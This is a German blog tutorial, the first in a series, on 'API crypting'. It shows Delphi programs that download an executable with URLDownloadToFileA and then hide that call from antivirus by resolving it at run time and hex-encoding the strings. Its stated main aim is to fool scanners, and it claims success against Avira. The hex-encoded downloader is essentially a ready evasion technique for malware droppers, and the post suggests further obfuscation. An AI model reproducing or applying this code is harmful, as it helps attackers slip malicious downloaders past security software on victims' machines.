Zurück

API Crypting: Antiviren-Programm einfach austricksen (Folge 1)

02.04.2014 22:55 von Samuel

Was ist die WinAPI?

WinAPI steht für "Windows-Anwendungs-Programmierschnittstelle" und ist eine "Sammlung" von Funktionen die von Microsoft zur Verfügung gestellt werden. In der MSDN Library (Microsoft Developer Network) kann man diese Funktionen und deren Parameter um die Funktion aufzurufen, genauer anschauen.

Was ist eine DLL?

Die Funktionen in der MSDN Library sind in sogenannten DLLs (Dynamic Link Library) definiert. DLLs sind Bibliotheken die Code und Daten enhalten. Wir haben die Möglichkeit eine DLL zu laden und dannach alle verfügbaren Funktionen in dieser DLL aufzurufen.

Ein einfaches Programm

Ich zeige nun anhand der URLDownloadToFile() Funktion die in der "urlmon.dll" definiert ist, wie man eine Datei herunterladen kann.

 

 

 

 

 

Wir erstellen ein einfaches Konsolen-Programm und schreiben die Funktion.

Delphi / Object Pascal Code:

function UrlDownLoadToFile(pCaller: Cardinal; szURL:LPCTSTR; szFileName:LPCTSTR; dwReserved:DWORD; lpfnCB:Pointer): HRESULT;
stdcall; external 'urlmon.dll' name 'URLDownloadToFileA';

 

Die Parameter kann man von der MSDN Library entnehmen. Allerdings sind die Funktionen nur für Assembler und C geschrieben. Für andere Programmiersprachen muss man einige Parameter anpassen.

Dannach können wir die Funktion einfach aufrufen. Der gesamte Code sieht dann relativ harmlos aus:

program ohne;

{$APPTYPE CONSOLE}

uses
  Windows;

function UrlDownLoadToFile(pCaller: Cardinal; szURL:LPCTSTR; szFileName:LPCTSTR; dwReserved:DWORD; lpfnCB:Pointer): HRESULT;
stdcall; external 'urlmon.dll' name 'URLDownloadToFileA';

begin
  UrlDownLoadToFile(0, 'http://localhost/apicrypt/putty.exe', 'dl.exe', 0, 0);
end.

 

Wenn wir das Programm starten wird wie erwartet die *.exe Datei in das aktuelle Verzeichnis geladen und als "dl.exe" abgespeichert.

Warum WinAPI-Crypting?

Es gibt mehrere Gründe warum man die API-Aufrufe verschleiern sollte. Ein wichtiger Grund ist natürlich, dass man mit diesem Trick sehr viele Antiviren-Programme in die Irre führen kann. Ein weiterer Grund für das verschleiern der Funktionen ist aber auch, um das Programm vor Crackern zu schützen. Da die API-Aufrufe erst zur Laufzeit ausgelesen werden können, wird das Programm um einiges sicherer.

Vorgehen beim WinAPI-Crypting

Ein Aufruf einer Funktion in einer DLL ist relativ einfach erklärt. Wir laden die DLL mit LoadLibrary(). Falls der Aufruf erfolgreich war, sollten wir ein "Handle" zurückbekommen. Ein Aufruf der API GetProcAddress() ergibt dann die Adresse der Funktion zurück die wir aufrufen möchten. Anschliessend sollten wir mit FreeLibrary() die DLL auch wieder entladen.

Das gleiche Programm. Mit API-Crypting.

Das gleiche Programm wie oben. Diesmal aber mit API-Crypting.

  1. DLL mit LoadLibrary laden
  2. Mit GetProcAddress Funktionsadresse auslesen
  3. "Neue" URLDownloadToFile aufrufen

 

Delphi / Object Pascal Code:

program mit;

{$APPTYPE CONSOLE}

uses
  Windows;

var
  urlmon: THandle;

  xUrlDownLoadToFile : function(pCaller: Cardinal; szURL:LPCTSTR; szFileName:LPCTSTR; dwReserved:DWORD; lpfnCB:Pointer): HRESULT; stdcall;
begin
  urlmon := LoadLibrary('urlmon.dll');
  xUrlDownLoadToFile := GetProcAddress(urlmon, 'URLDownloadToFileA');
  xUrlDownLoadToFile(0, 'http://localhost/apicrypt/putty.exe', 'dl.exe', 0, nil);
end.

 

So. Nun haben wir eine Funktion "xUrlDownLoadToFile". Bei GetProcAddress sollte man nun die Funktion "URLDownloadToFileA" verschlüsseln und auch alle anderen Strings. Dazu reicht eine einfache Verschlüsselung oder auch nur String to Hex bzw Hex to String.

Das könnte dann so aussehen:

 

Delphi / Object Pascal Code:

program mit;

{$APPTYPE CONSOLE}

uses
  Windows;

function StrToInt(S: String): Integer;
begin
  Val(S, Result, Result);
end;

function H2S(H: string): string;
var I: Integer;
begin
  Result:= '';
  for I := 1 to length (H) div 2 do begin
    Result:= Result+Char(StrToInt('$'+Copy(H,(I-1)*2+1,2)));
  end;
end;

var
  sam_url: THandle;

  samsec_ch : function(pCaller: Cardinal; szURL:LPCTSTR; szFileName:LPCTSTR; dwReserved:DWORD; lpfnCB:Pointer): HRESULT; stdcall;
begin
  sam_url := LoadLibrary(PChar(H2S('75726c6d6f6e2e646c6c')));
  samsec_ch := GetProcAddress(sam_url, PChar(H2S('55524c446f776e6c6f6164546f46696c6541')));
  samsec_ch(0, PChar(H2S('687474703a2f2f6c6f63616c686f73742f61706963727970742f70757474792e657865')), PChar(H2S('66696c652e657865')), 0, nil);
end.

 

Wenn man nun die DLLs und deren Aufrufe bei den beiden Programmen vergleicht, sieht man einige Unterschiede:

 

Ohne API-Crypting sehen wir den Aufruf in der urlmon.dll:

Ohne API-Crypting

 

Mit dem Crypting sehen wir KEIN "URLDownloadToFileA" von der "urlmon.dll":

Mit API-Crypting

Der Antiviren-Test

Nunja, die Antiviren-Programme haben jetzt natürlich Schwierigkeiten die Funktionen auszulesen. Darum sieht das Resultat auch dementsprechend aus:

Ohne API-Crypting:

Avira - Ohne API Crypting

 

Mit API-Crypting:

Avira - Mit API Crypting

 

Fazit

Die meisten Antiviren-Programme lassen sich mit sehr einfachen Tricks wie dem dynamischen Aufruf von Funktionen austricksen. Man könnte das Ganze noch optimieren und die Funktionen LoadLibrary und GetProcAddress ebenfalls dynamisch aufrufen bzw. Alternativen verwenden.

Bis zum nächsten Eintrag Zunge raus

Zurück

Einen Kommentar schreiben